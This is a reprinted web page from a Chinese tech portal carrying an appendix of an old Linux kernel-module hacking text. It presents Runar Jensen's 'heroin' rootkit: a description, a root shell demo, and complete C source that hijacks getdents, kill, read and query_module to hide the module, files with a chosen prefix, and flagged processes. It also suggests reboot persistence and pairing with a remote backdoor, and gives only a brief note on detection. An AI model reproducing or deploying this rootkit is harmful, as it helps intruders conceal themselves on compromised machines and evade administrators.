china.com
主页
新闻
体育
游戏
文化
教育
健康
财经
科技
旅游
军事
娱乐
商贸
  科技动态 硬件广场 下载基地 网络教室 网络冲浪 科学博览 移动时代 手机上网 桌面壁纸 科技商情  


附录(源码)


Herion - the classic one

NAME : Heroin

AUTHOR : Runar Jensen

DESCRIPTION : Runar Jensen introduced some nice ideas in his text, which were the first steps towards our modern Hide LKM by plaguez. The way Runar Jensen hides the module requires more coder work than the plaguez (Solar Designer and other people) approach, but it works. The way Runar Jensen hides processes is also a bit too complicated (well this text is quite old, and it was one of the first talking about LKM hacking), He uses a special signal code (31) in order to set a flag in a process structure which indicates that this process is going to be hidden, in the way we discussed in part II.

The rest should be clear.

LINK : http://www.rootshell.com



As halflife demonstrated in Phrack 50 with his linspy project, it is trivial

to patch any systemcall under Linux from within a module. This means that

once your system has been compromised at the root level, it is possible for

an intruder to hide completely _without_ modifying any binaries or leaving

any visible backdoors behind. Because such tools are likely to be in use

within the hacker community already, I decided to publish a piece of code to

demonstrate the potentials of a malicious module.



The following piece of code is a fully working Linux module for 2.1 kernels

that patches the getdents(), kill(), read() and query_module() calls. Once

loaded, the module becomes invisible to lsmod and a dump of /proc/modules by

modifying the output of every query_module() call and every read() call

accessing /proc/modules. Apparently rmmod also calls query_module() to list

all modules before attempting to remove the specified module, and will

therefore claim that the module does not exist even if you know its name. The

output of any getdents() call is modified to hide any files or directories

starting with a given string, leaving them accessible only if you know their

exact names. It also hides any directories in /proc matching pids that have a

specified flag set in its internal task structure, allowing a user with root

access to hide any process (and its children, since the task structure is

duplicated when the process does a fork()). To set this flag, simply send the

process a signal 31 which is caught and handled by the patched kill() call.



To demonstrate the effects...



[root@image:~/test]# ls -l

total 3

-rw------- 1 root   root     2832 Oct 8 16:52 heroin.o

[root@image:~/test]# insmod heroin.o

[root@image:~/test]# lsmod | grep heroin

[root@image:~/test]# grep heroin /proc/modules

[root@image:~/test]# rmmod heroin

rmmod: module heroin not loaded

[root@image:~/test]# ls -l

total 0

[root@image:~/test]# echo "I'm invisible" > heroin_test

[root@image:~/test]# ls -l

total 0

[root@image:~/test]# cat heroin_test

I'm invisible

[root@image:~/test]# ps -aux | grep gpm

root   223 0.0 1.0 932 312 ? S 16:08 0:00 gpm

[root@image:~/test]# kill -31 223

[root@image:~/test]# ps -aux | grep gpm

[root@image:~/test]# ps -aux 223

USER   PID %CPU %MEM SIZE RSS TTY STAT START TIME COMMAND

root   223 0.0 1.0 932 312 ? S 16:08 0:00 gpm

[root@image:~/test]# ls -l /proc | grep 223

[root@image:~/test]# ls -l /proc/223

total 0

-r--r--r-- 1 root   root      0 Oct 8 16:53 cmdline

lrwx------ 1 root   root      0 Oct 8 16:54 cwd -> /var/run

-r-------- 1 root   root      0 Oct 8 16:54 environ

lrwx------ 1 root   root      0 Oct 8 16:54 exe -> /usr/bin/gpm

dr-x------ 1 root   root      0 Oct 8 16:54 fd

pr--r--r-- 1 root   root      0 Oct 8 16:54 maps

-rw------- 1 root   root      0 Oct 8 16:54 mem

lrwx------ 1 root   root      0 Oct 8 16:54 root -> /

-r--r--r-- 1 root   root      0 Oct 8 16:53 stat

-r--r--r-- 1 root   root      0 Oct 8 16:54 statm

-r--r--r-- 1 root   root      0 Oct 8 16:54 status

[root@image:~/test]#



The implications should be obvious. Once a compromise has taken place,

nothing can be trusted, the operating system included. A module such as this

could be placed in /lib/modules/<kernel_ver>/default to force it to be loaded

after every reboot, or put in place of a commonly used module and in turn

have it load the required module for an added level of protection. (Thanks

Sean :) Combined with a reasonably obscure remote backdoor it could remain

undetected for long periods of time unless the system administrator knows

what to look for. It could even hide the packets going to and from this

backdoor from the kernel itself to prevent a local packet sniffer from seeing

them.



So how can it be detected? In this case, since the number of processes is

limited, one could try to open every possible process directory in /proc and

look for the ones that do not show up otherwise. Using readdir() instead of

getdents() will not work, since it appears to be just a wrapper for

getdents(). In short, trying to locate something like this without knowing

exactly what to look for is rather futile if done in userspace...



Be afraid. Be very afraid. ;)



.../ru



-----



/*

* heroin.c

*

* Runar Jensen <zarq@opaque.org>

*

* This Linux kernel module patches the getdents(), kill(), read()

* and query_module() system calls to demonstrate the potential

* dangers of the way modules have full access to the entire kernel.

*

* Once loaded, the module becomes invisible and can not be removed

* with rmmod. Any files or directories starting with the string

* defined by MAGIC_PREFIX appear to disappear, and sending a signal

* 31 to any process as root effectively hides it and all its future

* children.

*

* This code should compile cleanly and work with most (if not all)

* recent 2.1.x kernels, and has been tested under 2.1.44 and 2.1.57.

* It will not compile as is under 2.0.30, since 2.0.30 lacks the

* query_module() function.

*

* Compile with:

* gcc -O2 -fomit-frame-pointer -DMODULE -D__KERNEL__ -c heroin.c

*/



#include <linux/fs.h>

#include <linux/module.h>

#include <linux/modversions.h>

#include <linux/malloc.h>

#include <linux/unistd.h>

#include <sys/syscall.h>



#include <linux/dirent.h>

#include <linux/proc_fs.h>

#include <stdlib.h>



#define MAGIC_PREFIX "heroin"



#define PF_INVISIBLE 0x10000000

#define SIGINVISI 31



int errno;



static inline _syscall3(int, getdents, uint, fd, struct dirent *, dirp, uint, count);

static inline _syscall2(int, kill, pid_t, pid, int, sig);

static inline _syscall3(ssize_t, read, int, fd, void *, buf, size_t, count);

static inline _syscall5(int, query_module, const char *, name, int, which, void *, buf, size_t, bufsize, size_t *, ret);



extern void *sys_call_table[];



int (*original_getdents)(unsigned int, struct dirent *, unsigned int);

int (*original_kill)(pid_t, int);

int (*original_read)(int, void *, size_t);

int (*original_query_module)(const char *, int, void *, size_t, size_t *);



int myatoi(char *str)

{

    int res = 0;

    int mul = 1;

    char *ptr;



    for(ptr = str + strlen(str) - 1; ptr >= str; ptr--) {

        if(*ptr < '0' || *ptr > '9')

            return(-1);

        res += (*ptr - '0') * mul;

        mul *= 10;

    }

    return(res);

}



void mybcopy(char *src, char *dst, unsigned int num)

{

    while(num--)

        *(dst++) = *(src++);

}



int mystrcmp(char *str1, char *str2)

{

    while(*str1 && *str2)

        if(*(str1++) != *(str2++))

            return(-1);

    return(0);

}



struct task_struct *find_task(pid_t pid)

{

    struct task_struct *task = current;



    do {

        if(task->pid == pid)

            return(task);



        task = task->next_task;



    } while(task != current);



    return(NULL);

}



int is_invisible(pid_t pid)

{

    struct task_struct *task;



    if((task = find_task(pid)) == NULL)

        return(0);



    if(task->flags & PF_INVISIBLE)

        return(1);



    return(0);

}



int hacked_getdents(unsigned int fd, struct dirent *dirp, unsigned int count)

{

    int res;

    int proc = 0;

    struct inode *dinode;

    char *ptr = (char *)dirp;

    struct dirent *curr;

    struct dirent *prev = NULL;



    res = (*original_getdents)(fd, dirp, count);



    if(!res)

        return(res);



    if(res == -1)

        return(-errno);



#ifdef __LINUX_DCACHE_H

    dinode = current->files->fd[fd]->f_dentry->d_inode;

#else

    dinode = current->files->fd[fd]->f_inode;

#endif



    if(dinode->i_ino == PROC_ROOT_INO && !MAJOR(dinode->i_dev) && MINOR(dinode->i_dev) == 1)

        proc = 1;



    while(ptr < (char *)dirp + res) {

        curr = (struct dirent *)ptr;



        if((!proc && !mystrcmp(MAGIC_PREFIX, curr->d_name)) ||

            (proc && is_invisible(myatoi(curr->d_name)))) {



            if(curr == dirp) {

                res -= curr->d_reclen;

                mybcopy(ptr + curr->d_reclen, ptr, res);

                continue;

            }

            else

                prev->d_reclen += curr->d_reclen;

        }

        else

            prev = curr;



        ptr += curr->d_reclen;

    }



    return(res);

}



int hacked_kill(pid_t pid, int sig)

{

    int res;

    struct task_struct *task = current;



    if(sig != SIGINVISI) {

        res = (*original_kill)(pid, sig);



        if(res == -1)

            return(-errno);



        return(res);

    }



    if((task = find_task(pid)) == NULL)

        return(-ESRCH);



    if(current->uid && current->euid)

        return(-EPERM);



    task->flags |= PF_INVISIBLE;



    return(0);

}



int hacked_read(int fd, char *buf, size_t count)

{

    int res;

    char *ptr, *match;

    struct inode *dinode;



    res = (*original_read)(fd, buf, count);



    if(res == -1)

        return(-errno);



#ifdef __LINUX_DCACHE_H

    dinode = current->files->fd[fd]->f_dentry->d_inode;

#else

    dinode = current->files->fd[fd]->f_inode;

#endif



    if(dinode->i_ino != PROC_MODULES || MAJOR(dinode->i_dev) || MINOR(dinode->i_dev) != 1)

        return(res);



    ptr = buf;



    while(ptr < buf + res) {

        if(!mystrcmp(MAGIC_PREFIX, ptr)) {

            match = ptr;

            while(*ptr && *ptr != '\n')

                ptr++;

            ptr++;

            mybcopy(ptr, match, (buf + res) - ptr);

            res = res - (ptr - match);

            return(res);

        }

        while(*ptr && *ptr != '\n')

            ptr++;

        ptr++;

    }



    return(res);

}



int hacked_query_module(const char *name, int which, void *buf, size_t bufsize, size_t *ret)

{

    int res;

    int cnt;

    char *ptr, *match;



    res = (*original_query_module)(name, which, buf, bufsize, ret);



    if(res == -1)

        return(-errno);



    if(which != QM_MODULES)

        return(res);



    ptr = buf;



    for(cnt = 0; cnt < *ret; cnt++) {

        if(!mystrcmp(MAGIC_PREFIX, ptr)) {

            match = ptr;

            while(*ptr)

                ptr++;

            ptr++;

            mybcopy(ptr, match, bufsize - (ptr - (char *)buf));

            (*ret)--;

            return(res);

        }

        while(*ptr)

            ptr++;

        ptr++;

    }



    return(res);

}



int init_module(void)

{

    original_getdents = sys_call_table[SYS_getdents];

    sys_call_table[SYS_getdents] = hacked_getdents;



    original_kill = sys_call_table[SYS_kill];

    sys_call_table[SYS_kill] = hacked_kill;



    original_read = sys_call_table[SYS_read];

    sys_call_table[SYS_read] = hacked_read;



    original_query_module = sys_call_table[SYS_query_module];

    sys_call_table[SYS_query_module] = hacked_query_module;



    return(0);

}



void cleanup_module(void)

{

    sys_call_table[SYS_getdents] = original_getdents;

    sys_call_table[SYS_kill] = original_kill;

    sys_call_table[SYS_read] = original_read;

    sys_call_table[SYS_query_module] = original_query_module;

}



-----



-----

Runar Jensen      | Phone (318) 289-0125 | Email zarq@1stnet.com

Network Administrator | or (800) 264-7440 | or zarq@opaque.org

Tech Operations Mgr   | Fax  (318) 235-1447 | Epage zarq@page.1stnet.com

FirstNet of Acadiana  | Pager (318) 268-8533 |   [message in subject]

 

  摘自《赛迪网》 pragmatic/THC,(版本1.0)/文

 


科技检索


中华网推荐

  • 1000名医生在线咨询

  • 中国足球队官方网站

  • 鸦片玫瑰(新版)

  • 精选股票天地

  • 闪光的flash教程

  • 中华网汽车世界

  • 为你的爱情出谋划策

  • 网文精选——野百合集

  • 世界文化遗产在中国

  • 历届香港小姐风姿集




  • 网络教室编辑信箱
    版权声明 | 本站检索 | 联系方法 | 刊登广告 | 使用说明 | 关于中华网 | 豁免条款

    版权所有 中华网